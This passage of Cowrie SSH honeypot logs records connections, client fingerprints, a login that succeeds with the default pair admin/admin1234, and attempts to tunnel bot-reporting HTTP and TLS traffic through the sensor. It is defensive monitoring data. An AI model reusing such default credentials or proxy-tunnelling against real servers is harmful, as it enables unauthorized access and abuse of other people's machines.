"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:14.833921Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:15.222111Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":58256,"dst_ip":"10.17.0.5","dst_port":22,"session":"7faeea70a984","protocol":"ssh","message":"New connection: 23.175.50.47:58256 (10.17.0.5:22) [session: 7faeea70a984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:24.870631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:24.877751Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:25.024587Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:27.188223Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.428591Z","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.478448Z","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.486506Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=b0kzKGp0Un5zMzMoUkN6Pg%3D%3D5lr836d2Qe39xABBoehoRbBFRIIW%2FjXwhIKlE6Js%2FFI0X96xnE6saml%2F7eB7303CtOHzMgvS6SaN%2Br1R0vAQp3D%2F9OoP5ICFN29wjIKEwW7Xd0iHcbXxpd1UG9noxSKB5gZVOM0N%2BpxzfFuq2QOxrwxfyoaSDBPR%2F9bwxS6uvDP7gF%2FAkLD0Lq5P%2FRbYfZGf6Dg2zPXoq45hBY1uPhTeg0euykmUFKeUUjwpqVkdV%2Bcik5ue42MprEW%2FKyYBha%2BI52xn57t5XpntK1jI7r4Ex7vt%2BcacqC1IWTx4SxDG5q0FbeGAOHRBZDwVPjSh1gNj%2FxlQIcBHaBl%2FNwsiJ7F49HtbJvoQBHh6XovYe4wE2Nh6AkXWCQ04qDFcfdT%2BdeLqmsQQRXY9PCsOBnOxVJ%2Ftu%2FDZreJyvarmxrhQi%2FLmf94hK%2B%2BMrfhgcM00sL24Yz8LFPC0uKk1oFnRk7IEgCkkZptNdnmetZ8w%2BNXPIJ0kamI9wrEOAsPav7y4MZmglTo0VMWlMDgZ%2B4QlsZ3kr%2F3I%2BvfKPfFTtwbY9JfaSLikb7bGi5eg1QejpYigboCJVysBgsy%2F7VpME7%2F3Q3lb%2BrejhWn98LnVmcpRlrLXH2WPvq7UzPBQ4we1XE9ovB0x7negdneRJsnTqJtr%2FS6z6wAu4K%2FYG%2F0omjIRH%2F7HYUnRjSt%2BMbeec%2F58SvtDexVFXZ0QTGEZlt5vP08aqmWdpbG3%2Bw1J%2B3o2tpRHyHCSGULD1tK5Y%2FcZRaxTAZ789rGqeKrT4DUGW1UIFBdcTSX%2Fh8EUYlgJplizzeIJ75P%2Bp6E6byalADyH5LT1XyWPkEabyQAZ0FrIDbFQHgztwKgGvio7hkGWb3XEIDsZqNd2Gruh3GyAb0TdyEKdiPOCPu0P4DYN9O%2Fqtj6a3yQPIVi8qiK9JWjrJCv6OHO0eBQCZzmoXkJ9NtGlmb81N8Orr6jP9EjrsPAbcxwRJnxCnFfAzI%2FTBD%2Fe%2BU6KBN4PdPofaMmarlEcmgwkugdO3LvZFMoIxjy1HgF4x8DbR8yUMo1ycysDP6jRcI%2FTjjdxeshF7bTO2jeoXwd0DBUWqqW4Vy5uZyjg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=b0kzKGp0Un5zMzMoUkN6Pg%3D%3D5lr836d2Qe39xABBoehoRbBFRIIW%2FjXwhIKlE6Js%2FFI0X96xnE6saml%2F7eB7303CtOHzMgvS6SaN%2Br1R0vAQp3D%2F9OoP5ICFN29wjIKEwW7Xd0iHcbXxpd1UG9noxSKB5gZVOM0N%2BpxzfFuq2QOxrwxfyoaSDBPR%2F9bwxS6uvDP7gF%2FAkLD0Lq5P%2FRbYfZGf6Dg2zPXoq45hBY1uPhTeg0euykmUFKeUUjwpqVkdV%2Bcik5ue42MprEW%2FKyYBha%2BI52xn57t5XpntK1jI7r4Ex7vt%2BcacqC1IWTx4SxDG5q0FbeGAOHRBZDwVPjSh1gNj%2FxlQIcBHaBl%2FNwsiJ7F49HtbJvoQBHh6XovYe4wE2Nh6AkXWCQ04qDFcfdT%2BdeLqmsQQRXY9PCsOBnOxVJ%2Ftu%2FDZreJyvarmxrhQi%2FLmf94hK%2B%2BMrfhgcM00sL24Yz8LFPC0uKk1oFnRk7IEgCkkZptNdnmetZ8w%2BNXPIJ0kamI9wrEOAsPav7y4MZmglTo0VMWlMDgZ%2B4QlsZ3kr%2F3I%2BvfKPfFTtwbY9JfaSLikb7bGi5eg1QejpYigboCJVysBgsy%2F7VpME7%2F3Q3lb%2BrejhWn98LnVmcpRlrLXH2WPvq7UzPBQ4we1XE9ovB0x7negdneRJsnTqJtr%2FS6z6wAu4K%2FYG%2F0omjIRH%2F7HYUnRjSt%2BMbeec%2F58SvtDexVFXZ0QTGEZlt5vP08aqmWdpbG3%2Bw1J%2B3o2tpRHyHCSGULD1tK5Y%2FcZRaxTAZ789rGqeKrT4DUGW1UIFBdcTSX%2Fh8EUYlgJplizzeIJ75P%2Bp6E6byalADyH5LT1XyWPkEabyQAZ0FrIDbFQHgztwKgGvio7hkGWb3XEIDsZqNd2Gruh3GyAb0TdyEKdiPOCPu0P4DYN9O%2Fqtj6a3yQPIVi8qiK9JWjrJCv6OHO0eBQCZzmoXkJ9NtGlmb81N8Orr6jP9EjrsPAbcxwRJnxCnFfAzI%2FTBD%2Fe%2BU6KBN4PdPofaMmarlEcmgwkugdO3LvZFMoIxjy1HgF4x8DbR8yUMo1ycysDP6jRcI%2FTjjdxeshF7bTO2jeoXwd0DBUWqqW4Vy5uZyjg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.489557Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":37064,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e441f55ac8","protocol":"ssh","message":"New connection: 77.94.47.83:37064 (10.17.0.5:22) [session: 83e441f55ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.520940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.525627Z","src_ip":"77.94.47.83","session":"83e441f55ac8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.577703Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=ZR\\xdc:\\x1a\\xf0\\x95\\xde9\\xe2\\xdc\\xc7\\xc2Jz\\xa2-\\xa5\\x9a\\x89w\\xcbfIa\\x80\\xec\\xe5\\x1cF\\xb5 _\\xe3$F\\x83\\xbf\\\\\\xfdcU+\\x7f\\xd7\\xaf'\\x9aW\\\\\\xd3\\x9dxL<V\\xda\\x8fu\\xc1Y\\xceg\\xe6\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6\\x99\\xba*yK'\\xfaj\\xb6B6\\x8b\\xf2@s\\x9e\\xa8\\x0fe\\xe4\\xd4\\xe7f\\xddk\\x1f\\x7f9\\x9b\\x89+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=ZR\\xdc:\\x1a\\xf0\\x95\\xde9\\xe2\\xdc\\xc7\\xc2Jz\\xa2-\\xa5\\x9a\\x89w\\xcbfIa\\x80\\xec\\xe5\\x1cF\\xb5 _\\xe3$F\\x83\\xbf\\\\\\xfdcU+\\x7f\\xd7\\xaf'\\x9aW\\\\\\xd3\\x9dxL<V\\xda\\x8fu\\xc1Y\\xceg\\xe6\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6\\x99\\xba*yK'\\xfaj\\xb6B6\\x8b\\xf2@s\\x9e\\xa8\\x0fe\\xe4\\xd4\\xe7f\\xddk\\x1f\\x7f9\\x9b\\x89+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.580703Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.634929Z","src_ip":"77.94.47.83","session":"83e441f55ac8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.682065Z","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.738517Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\x1fd\\x9e\\x11\\xfe\\x14\\xba\\taG\\x07%\\xc1\\x86<\\x86\\xcft\\xf8Z\\xce)\\xa9\\xf3=\\xeet\\x98\\x99\\x95p e\\xe1\\xf2\\x05\\x84\\x10\\x8d\\xd6\\xb5\\xe70\\xbf\\x88C\\x9c\\xb7\\xbcv\\xc78\\xea\\xfd\\xfa\\x90\\xfaW8\\xaa\\x99G\\xa7\"\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\xd3\\xb2\"\\xf4,C\\xec\\xb3\\xea\\xf5\\x17[H@x\\xfb\\x15\\xe5\\x1f\\x1c\\xe0\\x1d\\x10\\x1fb\\xf7Wk,o9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\x1fd\\x9e\\x11\\xfe\\x14\\xba\\taG\\x07%\\xc1\\x86<\\x86\\xcft\\xf8Z\\xce)\\xa9\\xf3=\\xeet\\x98\\x99\\x95p e\\xe1\\xf2\\x05\\x84\\x10\\x8d\\xd6\\xb5\\xe70\\xbf\\x88C\\x9c\\xb7\\xbcv\\xc78\\xea\\xfd\\xfa\\x90\\xfaW8\\xaa\\x99G\\xa7\"\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 